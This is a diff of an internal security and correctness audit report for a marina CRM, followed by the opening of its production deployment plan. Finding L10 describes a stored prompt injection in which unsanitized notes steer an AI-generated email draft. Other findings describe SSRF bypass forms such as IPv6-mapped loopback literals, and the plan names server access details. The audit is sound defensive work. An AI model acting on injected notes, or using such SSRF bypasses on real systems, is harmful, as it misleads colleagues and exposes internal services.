`src/lib/services/residential.service.ts:553` +Bulk hardcodes `z.enum(PIPELINE_STAGES)` (the 7 built-ins), so after any admin stage customization a bulk `change_stage` to a custom stage 400s. The per-row path uses `z.string()` and writes it straight through with no membership check, so `PATCH {pipelineStage:"anything"}` parks an interest on a non-existent stage that then surfaces as an orphan in `findOrphanInterests` and distorts funnel reports. +**Fix:** Replace the hardcoded enum with a runtime check against `listStages(portId)` in both the bulk handler and `updateResidentialInterest`. **Confidence: 0.85** + +#### M29 — Tenancies auto-create re-enables a module an admin explicitly disabled + +`src/lib/services/tenancies-module.service.ts:35-69,76-87` + `berth-tenancies.service.ts:150-151` (+ `documents.service.ts:1687` webhook path) +`createPending` calls `enableTenanciesModule(portId)` unconditionally inside its tx, UPSERTing the setting back to `true`, and the webhook `autoCreatePendingTenancies` deliberately does not gate on `isTenanciesModuleEnabled`. So: admin disables Tenancies → a Reservation Agreement completes → the module flips itself back on and reappears in the sidebar, contradicting the "explicit false always wins" precedence. +**Fix:** Only call `enableTenanciesModule` when the setting is unset (respect an explicit `false`), or have it no-op when a stored `false` exists. **Confidence: 0.72** + +_(MEDIUM tier = 29 distinct findings, M1–M29: M1–M18 carry the pass-3 MEDIUMs, M19–M29 carry the pass-1+2 MEDIUMs. No within-tier merges occurred at MEDIUM — all merges were in the CRITICAL/HIGH tiers.)_ + +--- + +### LOW + +#### L1 — `clearInterestOutcome` reopen-stage default references a dead `'completed'` sentinel + +`src/lib/services/interests.service.ts:1463-1465` +`pipelineStage === 'completed' ? 'qualified' : …` is dead after the 9→7 migration; any legacy row still holding `'completed'` reopens to `qualified` rather than its true pre-close stage. +**Fix:** Drop the dead branch or route via `canonicalizeStage`. **Confidence: 0.7** + +#### L2 — `STAGE_TRANSITIONS` blocks the only forward edge into `nurturing` from `enquiry` + +`src/lib/constants.ts:140-148` +`enquiry: ['qualified','eoi']` omits `nurturing`; a new enquiry must pass through `qualified` (or override) to be parked as nurturing. Minor state-graph/UX gap. +**Fix:** Add `nurturing` to the `enquiry` transition set. **Confidence: 0.6** + +#### L3 — Berth-recommender stage-scale mismatch classifies `reservation`-stage berths as Tier D ("late stage") and hides them `[needs-confirm]` + +`src/lib/services/berth-recommender.service.ts:213` vs `:556-568` +`LATE_STAGE_THRESHOLD` derives from a JS map (`deposit_paid=5`) but the SQL CASE uses a different 1-7 scale (`reservation=5`). `classifyTier` compares SQL-scale `>= 5`, so reservation-stage interests trip late-stage and the berth is suppressed when `tier_ladder_hide_late_stage` is on (default true). Lane rated this HIGH; demoted to LOW + `[needs-confirm]` — impact is recommender-ranking only (no money/public-status effect) and rests on the two scales genuinely diverging at runtime; warrants a direct trace before fixing. +**Fix:** Make the SQL CASE emit the same scale as `STAGE_ORDER`, single source of truth. **Confidence: 0.8 (code), severity disputed.** + +#### L4 — Recommender `classifyTier` dead branch + unreachable "under offer" (space) variant + +`src/lib/services/berth-recommender.service.ts:240-242` +`return t.activeInterestCount > 0 ? 'C' : 'C'` is dead; `normStatus === 'under offer'` (space) never matches the canonical `under_offer`. Cosmetic; behavior correct. +**Fix:** Collapse to `if (normStatus === 'under_offer') return 'C';`. **Confidence: 0.95** + +#### L5 — Orphaned storage blob + `files` row on mid-render retry + +`src/lib/services/report-render.service.ts:278-296` + `reports.service.tsx:276-307` +Neither path guards the `backend.put` + `files` insert against re-execution; a crash between put and the status/`fileId` write leaves an unreferenced orphan on BullMQ retry (`reports` maxAttempts 3). Correct `portId`; cost/cosmetic only. +**Fix:** Deterministic storage key per run + `onConflictDoNothing`, or early-return when the run already has a `storageKey`/`fileId`. **Confidence: 0.7** + +#### L6 — Non-atomic SELECT-then-UPDATE in report scheduler would double-fire under multiple worker replicas `[needs-confirm]` + +`src/lib/queue/workers/reports.ts:31-90` +Both pollers `SELECT WHERE nextRunAt <= now` then `UPDATE nextRunAt` with no `FOR UPDATE SKIP LOCKED`. Safe today (single `crm-worker`, concurrency 1) but a foot-gun the moment `MULTI_NODE_DEPLOYMENT` adds a replica → duplicate runs + email blasts. +**Fix:** Atomic claim (`UPDATE … WHERE id IN (SELECT … FOR UPDATE SKIP LOCKED) RETURNING`). **Confidence: 0.75 (latent).** + +#### L7 — `send-notification-email` omits `portId`, bypassing per-port send-from / branding + +`src/lib/queue/workers/notifications.ts:95-99` +Unlike every other `sendEmail` call site, this one omits `portId`, so `getPortEmailConfig` is never consulted and the mail goes via the global default SMTP/From. Subject prefix is port-derived but the envelope From is not — in multi-port, tenant B's notifications send from tenant A's/global identity. +**Fix:** Pass `notif.portId` to `sendEmail`. **Confidence: 0.8** + +#### L8 — Worker-local `recordAiUsage` duplicate diverges from the non-throwing service version (budget-accounting drift) + +`src/lib/queue/workers/ai.ts:33-47` +The worker defines its own `recordAiUsage` (bare `db.insert`, trusts caller-passed `totalTokens`) instead of importing the service version (try/catch, derives `totalTokens = input+output`). If `usage.total_tokens` diverges from prompt+completion, budget accounting corrupts. +**Fix:** Delete the worker copy, call the service `recordAiUsage`. **Confidence: 0.7** + +#### L9 — AI spend cap disabled by default (`DEFAULT_BUDGET.enabled=false`) + +`src/lib/services/ai-budget.service.ts:34,152-155` +`checkBudget` short-circuits to `{ ok:true, remaining:+Infinity }` when `!enabled`, so a port that never opens the AI-budget screen has no cap even on the OCR path that does call `checkBudget`. Default posture is "unlimited AI spend per tenant." +**Fix:** Ship a conservative enabled default, or warn when AI features are flag-enabled while budget is disabled. **Confidence: 0.8** + +#### L10 — Stored prompt injection via interest notes / email subjects (unsanitized into AI prompt) + +`src/lib/queue/workers/ai.ts:165,168` +`additionalInstructions` is sanitized + data-fenced, but recent notes (`n.content.slice(0,200)`) and recent email subjects are injected raw in the same user-role message, above the fenced block. Insider/stored-injection only (notes are internal-rep-written, not portal/public); output is bounded (10KB cap, JSON-only `response_format`) so no trivial system-prompt exfil — but a planted note can steer a colleague's generated draft (malicious link, off-brand content). +**Fix:** Run notes + subjects through `sanitizeForPrompt` + the same data-fence. **Confidence: 0.85** + +#### L11 — Documenso v2: persisting a `null` `documensoNumericId` makes `DOCUMENT_COMPLETED` webhooks silently no-op `[needs-confirm]` + +`src/lib/services/documenso-client.ts:578` + persist `document-templates.ts:737,849` +`normalizeDocument` derives `numericId` only when `r.id` is numeric; v2 webhooks carry only the numeric pk as `payload.id` while `documents.documensoId` holds the `envelope_xxx` string. If `/template/use` doesn't surface the numeric pk under `r.id` (tests assert `numericId: null` is routine), `resolveWebhookDocument` matches neither column → completion dropped (signed PDF never downloads, stage never advances, no completion email/tenancy) until the poll worker reconciles via `documensoId`. Degraded-not-broken → HIGH per lane, but lane self-rated confidence 0.6 (depends on the exact `/template/use` v2 response shape, unobserved live) → `[needs-confirm]`. +**Fix:** Re-fetch `getDocument(created.id)` for an authoritative `numericId`, or assert non-null at persist with a GET fallback; add a v2 numeric-webhook round-trip integration test. **Confidence: 0.6** + +#### L12 — No normalization/validation of admin-set Documenso API URL → silent double-pathing 404s + +`src/lib/services/port-config.ts:444` + `validators/settings.ts:4-5` +`upsertSettingSchema` validates `value: z.unknown()`; the admin override (canonical) isn't `.url()`-checked like the env var. An admin pasting `…/api/v1` or a trailing slash yields `…/api/v1/api/v2/envelope/create` → 404 on every send/download, surfaced only as a generic `DOCUMENSO_UPSTREAM_ERROR`. +**Fix:** Strip trailing `/api/v1`|`/api/v2`+slashes and `z.string().url()`-validate the override key. **Confidence: 0.85** + +#### L13 — Documenso `completed` event insert lacks `signatureHash` + `onConflictDoNothing` (duplicate timeline rows) + +`src/lib/services/documents.service.ts:1746-1750` +Unlike every sibling handler, the completion insert has no conflict clause; a failed-download-then-retry accumulates duplicate `completed` rows. Separately, the `viewed` insert (line 1903) passes `signatureHash` but not `recipientEmail`, so `idx_de_per_recipient_dedup` has a null key and can't dedup v2 multi-delivery opens. Cosmetic; no state corruption (completion gated by `status='completed' && signedFileId`). +**Fix:** Add `signatureHash` + `.onConflictDoNothing()` to the completed insert; populate `recipientEmail` on viewed. **Confidence: 0.9** + +#### L14 — GDPR builder docstring overstates `portId` filtering + +`src/lib/services/gdpr-bundle-builder.ts:78-82` vs `:111-119,160-162,172-175` +The docstring claims every query filters by `portId`, but `clientContacts/clientAddresses/clientRelationships/clientNotes/clientTags/formSubmissions/scratchpadNotes/portalUsers` filter by `clientId` only. Safe (clientId is a globally-unique UUID, client pre-validated against `portId`), but the comment overstates the guarantee. +**Fix:** Add redundant `portId` predicates (defense-in-depth) or correct the comment. **Confidence: 0.8** + +#### L15 — Hard-deleting a merge-winner NULLs loser redirect breadcrumbs (`merged_into_client_id`) + +`src/lib/db/migrations/0042_missing_fk_constraints.sql:156` + `client-hard-delete.service.ts` +The self-FK is `ON DELETE SET NULL`; hard-delete doesn't proactively migrate pointers, so archived losers' redirect breadcrumb silently breaks. Benign (no FK violation, no cross-tenant issue). +**Fix:** Note in the hard-delete cascade comment. **Confidence: 0.75** + +#### L16 — Email/bounce hardening nits (parsed recipient not validated; raw header/footer HTML; subject-token CRLF) + +`src/lib/email/bounce-parser.ts:95-107`, `src/lib/email/shell.ts:83,85` + `port-config.ts:606-607`, `src/lib/email/template-overrides.ts:36-39` +(a) `originalRecipient` from untrusted IMAP body is never run through `assertEmailValid` before query/notify (no SQLi/injection, but can falsely match/pollute the notification string); (b) `emailHeaderHtml`/`emailFooterHtml` interpolated raw into every transactional email — intentional `manage_settings`-gated branding feature, so self-XSS-by-highest-privilege; (c) `applySubjectTokens` does no CRLF neutralization (nodemailer strips CR/LF, so safe in practice). +**Fix:** Validate the parsed recipient against `RFC5322_EMAIL`; optionally allowlist-sanitize header/footer HTML for multi-admin tenants. **Confidence: 0.6–0.8** + +#### L17 — Storage hardening nits (Content-Type echoed from signed token; dev HMAC seed reuse; access-key in fingerprint) + +`src/app/api/storage/[token]/route.ts:109`, `src/lib/storage/filesystem.ts:431-446` + `index.ts:211-213` +(a) GET proxy sets `Content-Type` from signed `payload.c` with no allow-list (`nosniff` + sometimes-`attachment` mitigate; issuer-trust only, not forgeable); (b) dev HMAC fallback reuses `BETTER_AUTH_SECRET` (guarded to dev, throws in prod — acceptable); (c) `fingerprint()` JSON-stringifies the decrypted S3 access key into a process-lifetime string (secret key stays encrypted). Low impact, in-process only. +**Fix:** Constrain `payload.c` to `ALLOWED_MIME_TYPES` (or force `attachment`); fingerprint on a hash of config, not raw decrypted values. **Confidence: 0.6–0.75** + +#### L18 — UI: decorative emoji violate the named-icon-component doctrine (3 sites) + +`src/components/documents/hub-root-view.tsx:156` (`folder`), `src/components/admin/documenso/template-sync-button.tsx:328` (`warning`), `src/components/admin/onboarding-checklist.tsx:265` (party toast) +MEMORY explicitly flags decorative emoji as cheap/AI-like; the app uses Lucide icons everywhere else. _(Bundled — 3 instances of one rule violation.)_ +**Fix:** Replace with ``/`` and drop the toast party emoji (toasts already render a status icon). **Confidence: ~0.9** + +#### L19 — UI: NotesList runs a 30s wall-clock interval on every mount + `use-create-from-url` stale-closure suppression + +`src/components/shared/notes-list.tsx:185-189`, `src/hooks/use-create-from-url.ts:17-26` +(a) `setInterval(setNow, 30_000)` ticks unconditionally to drive the edit-countdown, re-rendering every open NotesList even when nothing is editable; (b) `onOpen` is excluded from effect deps via eslint-disable — currently safe (fires once, strips the param) but fragile. +**Fix:** Schedule the interval only when a note is inside its edit window; wrap `onOpen` in a ref/`useCallback`. **Confidence: 0.55–0.7** + +#### L20 — Socket: port-less connection allowed; `join:entity` `type` not runtime-validated; connection-state-recovery restores rooms + +`src/lib/socket/server.ts:108,133-144,164-172` +(a) a socket connecting with no `auth.portId` is allowed (joins no `port:` room) but can still `join:entity` — safely gated by `userCanJoinEntity`'s DB lookup, so no leak; (b) `join:entity` trusts the TS union and doesn't zod/allow-list `{type,id}` — fails closed today (`entityPortId=null` → false) but is an untyped trust boundary; (c) `connectionStateRecovery` restores prior rooms on reconnect but re-runs middleware (cookie re-validated), so revoked sessions are rejected — only residual is a ≤2-min window retaining an old room mid-disconnect. _(Bundled defense-in-depth nits.)_ +**Fix:** Reject port-less connections or document them; add `z.enum(['berth','client','interest'])`+uuid validation at the handler top. **Confidence: 0.6–0.72** + +#### L21 — Rate-limiter sliding window admits `max + 1` requests (off-by-one) `[needs-confirm]` + +`src/lib/rate-limit.ts:48,52` +`zadd` records before `zcard` counts and `allowed: count <= config.max`, so the limiter admits `max+1` per window. Lane reasoning is self-contradicting in the report; flagged `[needs-confirm]`. Affects every limiter uniformly, minor. +**Fix:** `count < config.max` after the add, or `zcard` before `zadd`. **Confidence: 0.75** + +#### L22 — Brochure presign omits `portSlug`, skipping the proxy port-binding (`p`) token field + +`src/app/api/v1/admin/brochures/[id]/versions/route.ts:31-34` +Berth-PDF presign passes `portSlug` (engaging the `p`-binding check); brochure presign doesn't, so brochure tokens skip the port-namespace assertion. Defense-in-depth only (`validateStorageKey` already blocks traversal; `generateBrochureStorageKey` is server-controlled). +**Fix:** Pass `portSlug` in the brochure presign opts. **Confidence: 0.9** + +#### L23 — Divergent permission catalogs (roles validator vs override allow-list) + +`src/lib/validators/roles.ts:5-18` vs `permission-overrides/route.ts:37-85` +`rolePermissionsSchema` uses `z.record(z.string(), z.boolean())` (accepts arbitrary action keys) and is missing resources the override `ALLOWED_RESOURCE_ACTIONS` includes (`yachts`, `companies`, `memberships`, `tenancies`, `residential_*`, `document_templates`). Super-admin-gated, so inert leaves only pollute the matrix/audit diffs. +**Fix:** Unify into one source of truth. **Confidence: 0.6** + +#### L24 — Deposit gate has no lower-bound re-lock after a refund; float-summed `>=` boundary + +`src/lib/services/payments.service.ts:132` + `getDepositTotalForInterest` +With `toFixed(2)` masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, `dateDepositReceived` stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H12 where refunds may not even subtract in some readers. +**Fix:** Round both sides to cents before compare; on refund recompute the gate condition and reverse/flag the stage/berth state when net drops below expected. **Confidence: 0.7** + +#### L25 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts + +`src/lib/services/currency.ts:8-14` + `src/lib/services/reports/currency.ts:31` +`getRate` returns null for unknown pairs and `normalizeAmount` falls back to `?? amount`, adding an unconverted foreign amount straight into the port-currency total (5000 JMD added as literal 5000 to a EUR total). No max-age check on `currencyRates.fetchedAt`; `refreshRates` swallows all errors (`:71`), so a months-stale rate is used silently. +**Fix:** Surface a "could not normalize" flag in the report payload when `convert` returns null; reject rates older than a threshold; don't swallow `refreshRates` failures. **Confidence: 0.65** + +#### L26 — `companyNotes` create-response overwrites real `updatedAt` with `createdAt`; stale doc + dead defensive code + +`src/lib/services/notes.service.ts:932` (+ `src/lib/db/schema/companies.ts:131`) +The schema now defines a real `companyNotes.updatedAt`, contradicting the documented "lacks updatedAt" contract. The create path still substitutes `createdAt` while `update()` and the aggregator read the real column — so the create response's `updatedAt` differs from a subsequent read. Cosmetic. +**Fix:** Drop the `updatedAt: note.createdAt` override; update CLAUDE.md. **Confidence: 0.7** + +#### L27 — Two junction-insert paths bypass the cross-port guard in `upsertInterestBerthTx` + +`src/lib/services/public-interest.service.ts:237` & `src/lib/services/client-restore.service.ts:380` +`upsertInterestBerthTx` asserts `interest.portId === berth.portId`; the two raw inserts skip it. Both currently resolve `berthId` from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M20's fix (use the service). +**Fix:** Route both through `upsertInterestBerthTx`. **Confidence: 0.6** + +_(Additional LOW-tier items from pass 1+2 carried below; the IPv6-SSRF, TOCTOU-rebind, redeliver-replay, pending-on-active-berth, tenancy socket/saveStages, import header-mapping, API-envelope, and import-port-trust clusters are renumbered L28–L35 to keep all distinct findings.)_ + +#### L28 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts `[::ffff:127.0.0.1]` etc. + +`src/lib/validators/webhooks.ts:56-60` +The `::ffff:` handler expects a dotted-quad tail but Node normalizes the hostname to hex (`[::ffff:7f00:1]`), so `isBlockedIpv4` never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently downgraded to LOW because the worker's `resolveAndCheckHost` throws `ENOTFOUND` on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form. +**Fix:** Parse the IPv6 hostname properly (reconstruct from hextets or use `net.isIP` + a real IPv6 range library) and block `::ffff:` mapped ranges by hex encoding. **Confidence: 0.9** + +#### L29 — TOCTOU between validation `lookup()` and `fetch()`'s independent re-resolution (residual DNS rebind) + +`src/lib/queue/workers/webhooks.ts:18-45` vs `:224` +`resolveAndCheckHost` checks resolved IPs but `fetch` re-resolves the hostname; the validated IP is not pinned, leaving a short-TTL rebind window. Lower priority than H1 (redirect is the easier path to the same target). +**Fix:** Resolve once and pin the address (custom undici Agent with fixed `lookup`, or connect by IP with Host/SNI preserved); reject if the connected peer IP is private. **Confidence: 0.7** + +#### L30 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated + +`src/lib/queue/workers/webhooks.ts:69` + `src/lib/services/webhooks.service.ts:312-316` +Redeliver clones `source.payload` and the worker regenerates `id`/timestamp at send (`:142-149`) while `data` stays stale — so a replay carries a fresh signature + fresh `X-Webhook-Timestamp` over old data, and the delivery id changes per redeliver. A receiver relying solely on transport timestamp/delivery-id freshness accepts arbitrarily old event data as fresh. Semantics/documentation gap. +**Fix:** Document that redeliver intentionally re-signs stale data; surface the original event time inside `data` for business-level freshness checks. **Confidence: 0.6** + +#### L31 — `createPending` allows unlimited pending rows on an already-active berth (dead-end UX) + +`src/lib/services/berth-tenancies.service.ts:93-179` +`createPending` never consults active-tenancy state; the partial unique index only covers `active`, so any number of `pending` rows insert on a fully-occupied berth and all `ConflictError` one-at-a-time at activate. No data corruption; confusing UX and dashboard noise. +**Fix:** Query for an existing active tenancy in `createPending` and warn/soft-block or surface it in the create response. **Confidence: 0.78** + +#### L32 — Tenancy cluster: wrong socket event + non-transactional `saveStages` _(two minor items)_ + +`src/lib/services/berth-tenancies.service.ts:401-404` and `src/lib/services/residential-stages.service.ts:91-167` +(a) `updateTenancy` emits `berth_tenancy:activated` for a metadata-only edit, causing false "activated" toasts/cache invalidations on clients — fix: emit `:updated` (conf 0.9). (b) `saveStages` runs reassignment UPDATEs and the stage-list UPSERT as separate top-level `db` calls despite a docstring claiming one transaction; a crash between them leaves interests reassigned but the stage list unsaved — fix: wrap both in `db.transaction` or correct the docstring (conf 0.83). +**Confidence: 0.83–0.9** + +#### L33 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical _(two minor items)_ + +`src/lib/import/mapping.ts:53` and `src/lib/import/adapters/berths.ts:12-14,31` +(a) `c.includes(h.n) || h.n.includes(c)` scores any substring relationship as a near-exact match, so "Billing Email" can auto-map to client `email` and "Company Name" to `name`; a careless confirm imports into the wrong column at scale — fix: surface score-1 substring matches as "review" not pre-selected, or use whole-token boundaries (conf 0.6). (b) `canonMoo` zod regex `^[A-Za-z]+-?0*\d+$` is laxer than the documented canonical `^[A-Z]+\d+$` and `parseInt` loses precision past `MAX_SAFE_INTEGER`; dedup stays self-consistent so no duplicate/cross-tenant risk — fix: align the regex, reject absurd numeric lengths (conf 0.55). +**Confidence: 0.55–0.6** + +#### L34 — API envelope / auth-surface inconsistency cluster _(pass-1, confirmed)_ + +Multiple files +`me/email` returns 3 shapes; no-content mutations return `{ok:true}` instead of `204`; `dashboard`/`notifications`/`search` GETs return bare shapes; inline 400s bypass `errorResponse`; public intake POSTs use bespoke shapes; portal login reads `?next=` but proxy sets `?redirect=`; scanner layout lacks a membership check; module-gate layouts fail-open on an unresolved slug. +**Fix:** Normalize to the `{ data }` envelope per CLAUDE.md; route 400s through `errorResponse`; align `?next=`/`?redirect=`; add the scanner membership check; fail-closed on unresolved slug. **Confidence: high (confirmed)** + +#### L35 — Import port-authorization trust boundary is unguarded (latent) `[needs-confirm]` + +`src/lib/import/types.ts:46-49` + `src/lib/queue/workers/import.ts:71-78` +`portId` is taken from `batch.portId` and trusted. Correct today because every service call stamps `portId` from `ctx` and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive `portId` from the session and assert `batch.portId === session.portId`, and gate on an `import` permission (none is checked anywhere in the engine path today). Flagged for the route author. +**Confidence: 0.75** + +--- + +## 3. Unified Lane Coverage Table + +All 17 lanes, with the pass where each completed and its finding counts (C/H/M/L) as mapped into the unified numbering. + +| # | Lane | Completed in | Status | Findings (C/H/M/L) | Top risk (unified ref) | +| --- | ------------------------------------------- | --------------------------- | --------- | ------------------- | ----------------------------------------------------------------------- | +| 1 | Financial money-math | Pass 1+2 | Complete | 1/1/1/2 | C1 cross-currency deposit gate auto-marks berths Sold | +| 2 | Sales pipeline state machine | Pass 3 | Complete | (→C2) /3/3/2 | C2 lost/cancelled deal auto-flips berth to Sold | +| 3 | Cross-entity ownership / schema drift | Pass 1+2 | Complete | 0/1/1/2 | H5 archive/restore falsifies ownership-history ledger | +| 4 | Background worker tenant isolation | Pass 3 | Complete | 0/1/2/3 | H11 attacker-controlled `coverBrandPortId` brand-kit leak | +| 5 | Socket.IO realtime authorization | Pass 3 | Complete | 0/0/2/3 | M10 deactivated users keep receiving all port broadcasts | +| 6 | AI subsystem spend cap + prompt injection | Pass 3 | Complete | (→C2 shared) /1/0/2 | H9 email-draft spends OpenAI tokens, no rate limit/budget | +| 7 | Destructive client lifecycle + GDPR cascade | Pass 3 | Complete | 0/2/2/2 | H2/H3 merge skips payments/ownership → cascade-delete loss | +| 8 | Storage proxy, presign & file validation | Pass 3 (pass-1 M24 partial) | Complete | 0/0/4/2 | M18 single-use token bricks emailed URLs on transient fail | +| 9 | CSV/bulk import engine | Pass 1+2 | Complete | 0/1/3/3 | H10 CSV formula injection in expense + audit exports | +| 10 | Email engine internals | Pass 3 | Complete | 0/0/1/3 | M8 bounce poller port-blind → cross-tenant misattribution | +| 11 | Outbound webhook SSRF + delivery integrity | Pass 1+2 | Complete | 0/1/3/2 | H1 fetch follows redirects, defeating SSRF allowlist | +| 12 | Report/PDF correctness + per-port filtering | Pass 3 | Complete | 0/1/4/2 | H6 title-case berth status → 0 sold / understated occupancy | +| 13 | Residential + tenancies logic | Pass 1+2 | Complete | 1/2/3/2 | C3 residential module-disabled never enforced on v1 API | +| 14 | Berth rules / recommender / public status | Pass 3 | Complete | (→C2 shared) /0/2/1 | C2 lost/cancelled deals auto-flip berths Sold (public site) | +| 15 | Permissions model + rate-limit coverage | Pass 3 | Complete | 0/2/3/2 | H8 `residentialAccess` toggle bypasses caller-superset | +| 16 | React components/hooks + UI/UX | Pass 3 | Complete | 0/3/4/2 | H7 residential notes fully broken (wrong NotesList API URL) | +| 17 | Documenso e-sign integration | Pass 3 | Complete | 0/0/1/2 | L11 v2 null `numericId` → dropped completion webhooks `[needs-confirm]` | +| — | Pass-1 routing/API confirmation set | Pass 1 | Folded in | C4 + M24 + L34 | C4 tracked `/q/` links dead in all outbound mail | + +**Coverage note:** All 17 lanes plus the pass-1 routing/API set are now covered — the 11 lanes rate-limited in pass 1+2 were successfully re-run in pass 3. Lane-level C/H/M/L counts above are indicative (they reflect each lane's pre-merge contribution; the cross-pass and within-pass merges mean the unified totals are not a simple column sum). Parenthetical `(→Cn)` marks a lane whose top finding was merged with another lane's. + +--- + +## 4. Cross-Pass Dedupe Notes + +Every merge made while consolidating the two passes: + +1. **CROSS-PASS (required) — Cross-currency deposit gate.** Pass 1+2 **C1** (cross-currency deposit gate auto-marks berths Sold) and pass 3 **H3** (deposit auto-advance is currency-blind) are the **same bug** (`payments.service.ts` deposit-met gate summing across currencies and comparing against a single-currency expectation). Merged into unified **C1 (CRITICAL)**, combining detail from both (the FX-summation mechanics from pass 1+2, the schema column refs `interests.ts:64-65` and the auto-advance/`deposit_received`-rule chain from both). Counted once. + +2. **Within pass 3 — Lost/cancelled → Sold.** Pass 3 **C1** was itself a merge of the Sales-pipeline lane and the Berth-subsystem lane (same `setInterestOutcome` → `interest_completed` → `sold` root cause). Preserved as unified **C2 (CRITICAL)**; no further action — recorded for traceability. + +3. **Within pass 3 — AI token spend.** Pass 3 **H12** (AI rate-limit missing, spanning the AI-subsystem and permissions/rate-limit lanes) and pass 3 **H13** (AI email-draft budget gate missing) are two facets of the same unprotected token-spend surface on `ai/email-draft`. Merged into unified **H9**, carrying both confidences (0.9 rate-limit / 0.97 budget) and both fixes. Net reduction of one HIGH versus a naive sum. + +4. **Within pass 3 — `coverBrandPortId` brand-kit leak.** Pass 3 **H6** was already a merge (worker-isolation lane HIGH + report-correctness lane LOW), kept at HIGH. Carried to unified **H11** unchanged. + +5. **Within pass 3 — Bounce poller port-blindness.** Pass 3 **M8** was already a merge (worker-isolation lane + email-engine lane). Carried to unified **M8** unchanged. + +6. **Within-pass bundles preserved (not re-split):** pass 3 **L18** (3 decorative-emoji sites), **L16** (3 email/bounce nits), **L17** (3 storage nits), **L20** (3 socket defense-in-depth nits); pass 1+2 **L9/L10/L32/L33** (paired tenancy and import items). These remain bundled exactly as the source docs intended (each is one rule/theme with sub-items), now at L18/L16/L17/L20 and L32/L33 respectively. + +7. **Severity reconciliations carried over (no merge, recorded):** pass 3 demoted L3 (recommender stage-scale) HIGH→LOW `[needs-confirm]` and L11 (Documenso null `numericId`) HIGH→LOW `[needs-confirm]`; both retained at LOW in the unified doc. `[needs-confirm]` tags preserved on unified **L3, L6, L11, L21, L35**. + +8. **No other cross-pass duplicates found.** Notably distinct (checked, NOT merged): unified **C1** (deposit currency math) vs **C2** (outcome-blind rule) — both touch the berth-rules engine but have different root causes; pass-1+2 **H3 refund-sign** (unified **H12**) vs pass-3 currency bug (unified **C1**) — different defects in the same service file; unified **L24** (deposit refund lower-bound re-lock) is a distinct idempotency concern adjacent to C1, kept separate as the source docs did. + +--- + +### Final tally — distinct findings in this unified report + +| Severity | Distinct count | +| --------- | ------------------------------ | +| CRITICAL | 4 | +| HIGH | 17 | +| MEDIUM | 29 | +| LOW | 35 (incl. 5 `[needs-confirm]`) | +| **Total** | **85** | + +_Derivation: union of the actual numbered entries — pass 1+2 (32: C3/H6/M11/L12) + pass 3 (55: C1/H13/M18/L23) = 87 — minus the cross-pass deposit-currency duplicate (pass1+2 C1 ≡ pass3 H3) and the within-pass-3 AI rate-limit + budget merge (pass3 H12 + H13) = **85 distinct findings**. Both removed entries were in the HIGH tier of their source; the merged deposit-currency finding is retained at CRITICAL (C1)._ + +--- + +## Remediation status — COMPLETE (2026-06-02) + +All 85 findings addressed across 28 `fix(audit)` commits on +`feat/residential-toggle-and-reports-comparison`. Every commit is +tsc-clean through the pre-commit hook; **1103/1103 unit tests pass** and +the full suite was re-run green after each tier. + +- **CRITICAL (4):** all fixed (C1 currency-deposit gate, C2 outcome→berth, + C3 residential API gate, C4 `/q/` allowlist). +- **HIGH (17):** all fixed. +- **MEDIUM (29):** all fixed. +- **LOW (35):** 34 fixed; **L21** verified a FALSE POSITIVE (the sliding + window admits exactly `max`, not `max+1`) — no change needed. + +`[needs-confirm]` resolutions: L3 (recommender stage-scale) = REAL, fixed. +L11 (Documenso v2 numericId) = REAL, fixed with GET fallback. L6 (scheduler +multi-replica) = fixed with atomic claim. L21 = false positive. L35 (import +port-auth) = latent, documented for the future commit route. + +### Deferred (code shipped; DB-schema migration outstanding) + +Two findings have their application-code fix shipped but a DB-schema change +intentionally deferred (each needs a generated migration applied via psql + +a `next dev` restart, which requires the live DB): + +- **M25** — `client_contacts` per-port partial-unique index on + `lower(value) WHERE channel='email'` (+ a `port_id` column/backfill/stamp + trigger). The in-file dedup (preview accuracy) shipped. +- **M23** — tightening invoice `numeric` columns to `numeric(12,2)`. The + money-rounding + `0%`-discount code fix shipped. + +### Stale-doc follow-ups noted by fix agents (not code bugs) + +- CLAUDE.md references `src/middleware.ts` (renamed to `src/proxy.ts` in + Next 16) and still says "companyNotes lacks updatedAt" (now has one). +- `src/lib/db/schema/clients.ts:55` comment references an "unmerge flow" + that does not exist (M6 corrected the service docstrings). diff --git a/docs/deployment-plan.md b/docs/deployment-plan.md new file mode 100644 index 00000000..05b91040 --- /dev/null +++ b/docs/deployment-plan.md @@ -0,0 +1,238 @@ +# Production Deployment Plan — Port Nimara CRM + +> **Status:** DRAFT · pre-deployment · 2026-05-31 +> **Target:** `https://crm.portnimara.com` on the PN Cloud server. +> **Companion:** `docs/launch-readiness.md` (Initiative 5 — cutover). +> Credentials live in `private/deployment-creds.md` (gitignored) — **never +> put secrets in this file.** + +## ⛔ Guardrails (non-negotiable) + +1. **No change to anything on the prod server without Matt's explicit + per-action approval.** Recon/reads are fine; every `sudo`, every file + write, every `docker` mutation, every `certbot` run is approved + individually before it runs. +2. **Documenso is VITAL.** It has broken on past upgrades. Nothing touches + the Documenso DB, volumes, or container until a verified backup + + S3↔DB reconciliation exists AND the upgrade step is explicitly approved. +3. Work one phase at a time; verify before moving on. Keep a rollback for + each mutating step. + +--- + +## Access (established 2026-05-31) + +| What | Detail | Verified | +| ---------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------ | +| **Prod server (SSH)** | `45.142.177.246:22022`, user `stefan`, key `id_ed25519_2026` (macOS keychain) | ✅ connected, key auth | +| **Gitea API** | `https://code.letsbe.solutions` as `matt` (admin) — reads build status, warnings, errors | ✅ v1.25.5, repo `letsbe/pn-new-crm` | +| **Container registry** | `code.letsbe.solutions/letsbe/pn-new-crm/{crm-app,crm-worker}` | ✅ CI pushes `:latest` + `:` | + +Notes: + +- `stefan` is **unprivileged** (uid 1000, not in the `docker` group; `sudo` + prompts for a password). Every `docker` / `nginx` / `certbot` / cert-read + step needs `sudo` (root pass in `private/deployment-creds.md` — **VERIFY**; + the per-server creds file had MOPC's pass by 